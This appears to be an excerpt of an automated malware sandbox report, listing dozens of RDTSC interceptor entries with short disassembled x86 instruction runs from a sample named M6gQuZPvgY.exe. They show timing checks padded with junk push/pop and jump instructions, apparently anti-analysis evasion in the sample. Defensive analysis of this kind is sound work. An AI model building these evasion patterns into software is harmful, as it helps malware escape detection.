Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 417702 second address: 41770A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 41770A second address: 41770E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 41770E second address: 417712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3E204A second address: 3E2068 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FE31118121Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE31118121Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3E2068 second address: 3E2084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE310CDC3A6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 419CFC second address: 419D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 419D00 second address: 419D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 419D04 second address: 419D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FE311181218h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 419D16 second address: 419D76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE310CDC39Fh 0x00000008 jmp 00007FE310CDC3A3h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jns 00007FE310CDC3AFh 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007FE310CDC39Ah 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 419D76 second address: 419D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE311181216h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 41B04A second address: 41B05E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE310CDC396h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jne 00007FE310CDC396h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3E7046 second address: 3E704A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3E704A second address: 3E7050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3E8B3D second address: 3E8B59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181228h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4211BF second address: 4211C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42134C second address: 421352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 421352 second address: 421388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE310CDC39Eh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FE310CDC3A2h 0x00000010 jmp 00007FE310CDC39Fh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 421388 second address: 4213A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181227h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4213A4 second address: 4213AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42154C second address: 421552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42186F second address: 421873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 421873 second address: 421879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4251B0 second address: 4251B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4251B5 second address: 4251E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FE311181222h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 jmp 00007FE311181220h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 425E91 second address: 425E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 425F68 second address: 425F6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 427BE7 second address: 427BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4299D0 second address: 4299D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42AD46 second address: 42AD4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42AD4F second address: 42AD53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42AD53 second address: 42AD79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 and edi, dword ptr [ebp+122D2AC7h] 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D30BCh], ebx 0x00000016 push 00000000h 0x00000018 mov si, D02Eh 0x0000001c xchg eax, ebx 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jp 00007FE310CDC396h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42AD79 second address: 42ADAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181222h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007FE311181223h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42B867 second address: 42B86B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42B86B second address: 42B875 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE311181216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3EBFAB second address: 3EBFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3EBFAF second address: 3EBFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42E9DE second address: 42E9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42E9E3 second address: 42E9E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42B5FE second address: 42B604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42F8B6 second address: 42F92D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE31118121Ch 0x00000008 jbe 00007FE311181216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov ebx, dword ptr [ebp+12451AB0h] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007FE311181218h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 mov ebx, 6AF40462h 0x0000003a mov edi, dword ptr [ebp+12458628h] 0x00000040 push 00000000h 0x00000042 mov dword ptr [ebp+124535A5h], ecx 0x00000048 jmp 00007FE31118121Ch 0x0000004d xchg eax, esi 0x0000004e push edi 0x0000004f push ebx 0x00000050 je 00007FE311181216h 0x00000056 pop ebx 0x00000057 pop edi 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FE311181223h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 431ACA second address: 431B03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FE310CDC398h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007FE310CDC39Ch 0x00000019 jbe 00007FE310CDC3A9h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42EB39 second address: 42EBD0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, 084BA39Bh 0x0000000f jo 00007FE31118121Ch 0x00000015 or ebx, dword ptr [ebp+12478C00h] 0x0000001b push dword ptr fs:[00000000h] 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007FE311181218h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c mov dword ptr [ebp+122D1C27h], edx 0x00000042 mov dword ptr fs:[00000000h], esp 0x00000049 push 00000000h 0x0000004b push edi 0x0000004c call 00007FE311181218h 0x00000051 pop edi 0x00000052 mov dword ptr [esp+04h], edi 0x00000056 add dword ptr [esp+04h], 00000015h 0x0000005e inc edi 0x0000005f push edi 0x00000060 ret 0x00000061 pop edi 0x00000062 ret 0x00000063 mov ebx, eax 0x00000065 mov eax, dword ptr [ebp+122D0741h] 0x0000006b mov bh, 73h 0x0000006d push FFFFFFFFh 0x0000006f mov edi, 7B82CC54h 0x00000074 mov ebx, ecx 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007FE31118121Fh 0x00000080 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 431B03 second address: 431B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE310CDC39Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42EBD0 second address: 42EBDA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE311181216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 431B14 second address: 431B4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE310CDC3A6h 0x00000008 ja 00007FE310CDC396h 0x0000000e jc 00007FE310CDC396h 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FE310CDC39Fh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42EBDA second address: 42EBE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42FA7E second address: 42FAEC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 and bx, 860Bh 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov dword ptr [ebp+124551CAh], ebx 0x00000019 mov edi, dword ptr [ebp+122D3AF5h] 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push edi 0x00000027 jmp 00007FE310CDC3A6h 0x0000002c pop edi 0x0000002d mov eax, dword ptr [ebp+122D0081h] 0x00000033 mov ebx, dword ptr [ebp+122D5A96h] 0x00000039 mov dword ptr [ebp+122D29C8h], ebx 0x0000003f push FFFFFFFFh 0x00000041 nop 0x00000042 push ebx 0x00000043 push edx 0x00000044 jmp 00007FE310CDC3A2h 0x00000049 pop edx 0x0000004a pop ebx 0x0000004b push eax 0x0000004c pushad 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42EBE0 second address: 42EBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 42FAEC second address: 42FB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE310CDC3A6h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FE310CDC39Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4322E7 second address: 4322EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 433109 second address: 43314C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FE310CDC39Ch 0x0000000c nop 0x0000000d xor dword ptr [ebp+122D3848h], edx 0x00000013 jbe 00007FE310CDC396h 0x00000019 push 00000000h 0x0000001b mov di, B505h 0x0000001f push 00000000h 0x00000021 mov dword ptr [ebp+122D2DE5h], eax 0x00000027 xchg eax, esi 0x00000028 jmp 00007FE310CDC39Ah 0x0000002d push eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 jnp 00007FE310CDC396h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 43314C second address: 433150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 433F62 second address: 433F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 433F67 second address: 433F6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 434EAD second address: 434EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 434EB3 second address: 434EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4340DD second address: 434179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jg 00007FE310CDC3A2h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FE310CDC398h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push dword ptr fs:[00000000h] 0x00000030 xor di, 7291h 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c sub dword ptr [ebp+122D21E9h], esi 0x00000042 pushad 0x00000043 stc 0x00000044 jo 00007FE310CDC399h 0x0000004a movzx edi, bx 0x0000004d popad 0x0000004e mov eax, dword ptr [ebp+122D0A01h] 0x00000054 push 00000000h 0x00000056 push ebx 0x00000057 call 00007FE310CDC398h 0x0000005c pop ebx 0x0000005d mov dword ptr [esp+04h], ebx 0x00000061 add dword ptr [esp+04h], 0000001Bh 0x00000069 inc ebx 0x0000006a push ebx 0x0000006b ret 0x0000006c pop ebx 0x0000006d ret 0x0000006e push FFFFFFFFh 0x00000070 push eax 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007FE310CDC39Bh 0x00000079 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 435ECD second address: 435EDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 436F47 second address: 436F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 436F4B second address: 436F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 436F51 second address: 436F5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FE310CDC396h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 436F5C second address: 436F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE311181225h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 436F7D second address: 436F83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 436F83 second address: 436F8D instructions: 0x00000000 rdtsc 0x00000002 je 00007FE31118121Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4370D4 second address: 4370DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4370DA second address: 4370DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3DEA4D second address: 3DEA68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007FE310CDC396h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007FE310CDC39Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 43C79C second address: 43C7A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 43C7A2 second address: 43C7A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 43D7FF second address: 43D805 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 43D805 second address: 43D82A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FE310CDC3A6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 43D82A second address: 43D834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE311181216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 43F65C second address: 43F662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 43E971 second address: 43E976 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 43E976 second address: 43EA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+124551CAh], esi 0x00000010 jmp 00007FE310CDC3A7h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov dword ptr [ebp+122D2B11h], eax 0x00000022 add dword ptr [ebp+12478BD5h], edi 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FE310CDC398h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 mov ebx, dword ptr [ebp+1244FDB6h] 0x0000004f mov dword ptr [ebp+122D2F0Ah], esi 0x00000055 mov eax, dword ptr [ebp+122D0261h] 0x0000005b push eax 0x0000005c and ebx, dword ptr [ebp+122D3A39h] 0x00000062 pop ebx 0x00000063 push FFFFFFFFh 0x00000065 and ebx, 7DC4AB26h 0x0000006b nop 0x0000006c jmp 00007FE310CDC39Ah 0x00000071 push eax 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007FE310CDC3A1h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3EA5D1 second address: 3EA5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 3EA5D5 second address: 3EA5E1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE310CDC396h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 44CC87 second address: 44CC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE311181216h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 44CC92 second address: 44CC97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 44CC97 second address: 44CC9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 44C69D second address: 44C6A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 44C6A1 second address: 44C6BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE31118121Dh 0x0000000d jnp 00007FE311181216h 0x00000013 rdtsc
